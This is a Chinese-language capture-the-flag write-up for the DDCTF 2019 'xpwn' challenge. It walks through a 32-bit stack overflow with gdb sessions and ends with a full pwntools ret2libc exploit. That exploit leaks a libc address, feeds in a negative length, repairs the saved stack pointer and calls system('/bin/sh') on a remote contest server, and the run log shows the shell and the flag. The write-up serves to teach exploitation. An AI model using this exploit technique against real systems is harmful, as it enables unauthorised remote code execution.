前言 Pwn菜鸡比赛的时候不会做,时间都花在Web题上面了,只能比赛后来复现了。
查看保护,基本没有什么保护:
1 2 3 4 5 6 [*] '/home/aluvion/Desktop/xpwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA反编译,主要漏洞代码如下:
1 2 3 4 5 6 7 8 9 10 int __cdecl sub_80485DB (FILE *stream, FILE *a2) { int v2; char buf; printf ("Enter username: " ); v2 = fileno(stream); read(v2, &buf, 0x40u ); return fprintf (a2, "Hello %s" , &buf); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int a1) { int v1; char buf; size_t nbytes; int *v5; v5 = &a1; setbuf(stdout , 0 ); sub_80485DB(stdin , stdout ); sleep(1u ); printf ("Please set the length of password: " ); nbytes = sub_804862D(); if ( (signed int )nbytes > 63 ) { puts ("Too long!" ); exit (1 ); } printf ("Enter password(lenth %u): " , nbytes); v1 = fileno(stdin ); read(v1, &buf, nbytes); puts ("All done, bye!" ); return 0 ; }
漏洞点有三个:
fprintf(a2, “Hello %s”, &buf) 字符串没有\x00结尾,可以用栈溢出来泄露地址
限制输入长度的时候,使用的是有符号数,输入的时候使用的是无符号数,没有进行负数检查,我们输入负数即可获得一个相当长的输入长度上限
read(v1, &buf, nbytes) 栈溢出漏洞
首先我们用gdb调试,看看栈里面有什么值得泄露的数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Breakpoint 1, 0x08048610 in ?? ()gdb-peda$ stack 25 0000| 0xffffd4a0 --> 0x0 0004| 0xffffd4a4 --> 0xffffd4b0 ("Twings\n\bX\202\004\b") 0008| 0xffffd4a8 --> 0x40 ('@') 0012| 0xffffd4ac --> 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+') 0016| 0xffffd4b0 ("Twings\n\bX\202\004\b") 0020| 0xffffd4b4 --> 0x80a7367 0024| 0xffffd4b8 --> 0x8048258 --> 0x57 ('W') 0028| 0xffffd4bc --> 0x0 0032| 0xffffd4c0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0 0036| 0xffffd4c4 --> 0xf7e0ccc8 --> 0x29d0 0040| 0xffffd4c8 --> 0xf7e6021b (<__GI__IO_setbuffer+11>: add ebx,0x151de5) 0044| 0xffffd4cc --> 0x0 0048| 0xffffd4d0 --> 0xf7fb2000 --> 0x1b1db0 0052| 0xffffd4d4 --> 0xf7fb2000 --> 0x1b1db0 0056| 0xffffd4d8 --> 0xffffd568 --> 0x0 0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>: add esp,0x1c) 0064| 0xffffd4e0 --> 0xf7fb2d60 --> 0xfbad2887 0068| 0xffffd4e4 --> 0x0 0072| 0xffffd4e8 --> 0x2000 ('') 0076| 0xffffd4ec --> 0xf7e65ff0 (<setbuf>: sub esp,0x10) 0080| 0xffffd4f0 --> 0xf7fb2d60 --> 0xfbad2887 0084| 0xffffd4f4 --> 0xf7ffd918 --> 0x0 0088| 0xffffd4f8 --> 0xffffd568 --> 0x0 0092| 0xffffd4fc --> 0x80486a3 (add esp,0x10) 0096| 0xffffd500 --> 0xf7fb25a0 --> 0xfbad2088 gdb-peda$ p $ebp $ 25 = (void *) 0xffffd4f8
可以看到这么一行:
1 0060| 0xffffd4dc --> 0xf7e66005 (<setbuf+21>: add esp,0x1c)
所以我们只要用数据一直覆盖掉 0xffffd4d4 地址处的 \x00 ,我们就可以将 setbuf 函数地址 +21 后的地址泄露出来,然后计算 libc 的偏移。
同时我们还可以关注到一点:0xffffd4d8 地址处的数据和 ebp 寄存器中的数据是一样的,所以我们还同时可以得到 mian 函数的基地址。
但是题目没有简单到,计算出偏移之后就可以直接利用第二个栈溢出 getshell 的地步:
1 2 3 4 5 6 7 8 0x804872d : call 0x8048470 <puts@plt>0x8048732 : add esp ,0x10 0x8048735 : mov eax ,0x0 0x804873a : lea esp ,[ebp -0x8 ]0x804873d : pop ecx 0x804873e : pop ebx 0x804873f : pop ebp 0x8048740 : lea esp ,[ecx -0x4 ]
可以看到,main 函数最后用 lea 指令做了一下简单的栈溢出防护,如果我们在溢出的过程中破坏了 ebp - 0x8 地址处的数据,就会导致 esp 寄存器错误,最后程序报错退出。所以我们需要在栈溢出的时候,修复这个地方的数据。
同样是 gdb 调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xffffffff ECX: 0xffffffff EDX: 0xf7fb3870 --> 0x0 ESI: 0xf7fb2000 --> 0x1b1db0 EDI: 0xf7fb2000 --> 0x1b1db0 EBP: 0xffffd568 --> 0x0 ESP: 0xffffd510 --> 0x0 EIP: 0x804873a (lea esp,[ebp-0x8]) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804872d: call 0x8048470 <puts@plt> 0x8048732: add esp,0x10 0x8048735: mov eax,0x0 => 0x804873a: lea esp,[ebp-0x8] 0x804873d: pop ecx 0x804873e: pop ebx 0x804873f: pop ebp 0x8048740: lea esp,[ecx-0x4] [------------------------------------stack-------------------------------------] 0000| 0xffffd510 --> 0x0 0004| 0xffffd514 --> 0xffffd5b4 --> 0x5f0267f1 0008| 0xffffd518 --> 0xf7fb2000 --> 0x1b1db0 0012| 0xffffd51c ("Twings\n\377/") 0016| 0xffffd520 --> 0xff0a7367 0020| 0xffffd524 --> 0x2f ('/') 0024| 0xffffd528 --> 0xf7e0cdc8 --> 0x2b76 ('v+') 0028| 0xffffd52c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x0804873a in ?? ()gdb-peda$ p $ebp $ 26 = (void *) 0xffffd568 gdb-peda$ p $ebp - 8 $ 27 = (void *) 0xffffd560 gdb-peda$ p *0xffffd560 $ 28 = 0xffffd580 gdb-peda$ p 0xffffd560 - 0xffffd51c $ 29 = 0x44 gdb-peda$ p 0xffffd580 - 0xffffd568 $ 30 = 0x18
我们的输入的地址为 0xffffd51c ,要修改的地址为 0xffffd560 ,偏移为 0x44;数据为 0xffffd580 ,跟 ebp 寄存器中地址(main 函数的基地址)的偏移为 0x18。
我们继续调试得到 main 函数的返回地址来覆盖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffffd580 --> 0x1 EDX: 0xf7fb3870 --> 0x0 ESI: 0xf7fb2000 --> 0x1b1db0 EDI: 0xf7fb2000 --> 0x1b1db0 EBP: 0x0 ESP: 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>: add esp,0x10) EIP: 0x8048743 (ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804873e: pop ebx 0x804873f: pop ebp 0x8048740: lea esp,[ecx-0x4] => 0x8048743: ret 0x8048744: xchg ax,ax 0x8048746: xchg ax,ax 0x8048748: xchg ax,ax 0x804874a: xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xffffd57c --> 0xf7e18637 (<__libc_start_main+247>: add esp,0x10) 0004| 0xffffd580 --> 0x1 0008| 0xffffd584 --> 0xffffd614 --> 0xffffd77b ("/home/aluvion/Desktop/xpwn") 0012| 0xffffd588 --> 0xffffd61c --> 0xffffd796 ("LC_PAPER=zh_CN.UTF-8") 0016| 0xffffd58c --> 0x0 0020| 0xffffd590 --> 0x0 0024| 0xffffd594 --> 0x0 0028| 0xffffd598 --> 0xf7fb2000 --> 0x1b1db0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048743 in ?? ()gdb-peda$ p 0xffffd57c - 0xffffd51c $ 31 = 0x60
可以看到返回地址为 0xffffd57c ,跟我们的输入的偏移为 0x60 ,我们可以写出脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * elf = ELF("../xpwn" ) libc = ELF("../libc.so.6" ) context.log_level = "debug" system_libc = libc.symbols["system" ] setbuf_libc = libc.symbols["setbuf" ] bin_sh_libc = libc.search("/bin/sh" ).next () target = remote("116.85.48.105" , 5005 ) target.recvuntil("Enter username: " ) target.sendline("p" * 36 ) target.recvuntil("p" * 36 ) target.recv(4 ) main_ebp = u32(target.recv(4 )) setbuf_addr = u32(target.recv(4 )) - 21 print "main ebp: " + hex (main_ebp)print "setbuf addr: " + hex (setbuf_addr) pause() target.recvuntil("password: " ) target.sendline('-1' ) system_addr = setbuf_addr - setbuf_libc + system_libc bin_sh_addr = setbuf_addr - setbuf_libc + bin_sh_libc payload = "p" * 0x44 + p32(main_ebp + 0x18 ) payload += "p" * (0x60 - 0x44 - 0x04 ) + p32(system_addr) payload += "a" * 0x04 + p32(bin_sh_addr) target.recvuntil("): " ) target.send(payload) target.interactive() target.close()
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 root@Aluvion:/home/aluvion/Desktop/二进制# python dd2019.py [*] '/home/aluvion/Desktop/xpwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/home/aluvion/Desktop/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 116.85.48.105 on port 5005: Done [DEBUG] Received 0x10 bytes: 'Enter username: ' [DEBUG] Sent 0x25 bytes: 'pppppppppppppppppppppppppppppppppppp\n' [DEBUG] Received 0x3a bytes: 00000000 48 65 6c 6c 6f 20 70 70 70 70 70 70 70 70 70 70 │Hell│o pp│pppp│pppp│ 00000010 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│ 00000020 70 70 70 70 70 70 70 70 70 70 0a f0 6e f7 f8 1b │pppp│pppp│pp··│n···│ 00000030 92 ff 65 44 5a f7 60 fd 6e f7 │··eD│Z·`·│n·│ 0000003a main ebp: 0xff921bf8 setbuf addr: 0xf75a4450 [*] Paused (press any to continue) [DEBUG] Received 0x23 bytes: 'Please set the length of password: ' [DEBUG] Sent 0x3 bytes: '-1\n' [DEBUG] Received 0x22 bytes: 'Enter password(lenth 4294967295): ' [DEBUG] Sent 0x6c bytes: 00000000 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│ * 00000040 70 70 70 70 10 1c 92 ff 70 70 70 70 70 70 70 70 │pppp│····│pppp│pppp│ 00000050 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 │pppp│pppp│pppp│pppp│ 00000060 40 99 57 f7 61 61 61 61 2b 80 69 f7 │@·W·│aaaa│+·i·││ 0000006c [*] Switching to interactive mode [DEBUG] Received 0xe bytes: 'All done, bye!' All done, bye![DEBUG] Received 0x1 bytes: '\n'$ cat flag [DEBUG] Sent 0x9 bytes: 'cat flag\n' [DEBUG] Received 0x23 bytes: 'DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}' DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}$ [*] Interrupted [*] Closed connection to 116.85.48.105 port 5005
Orz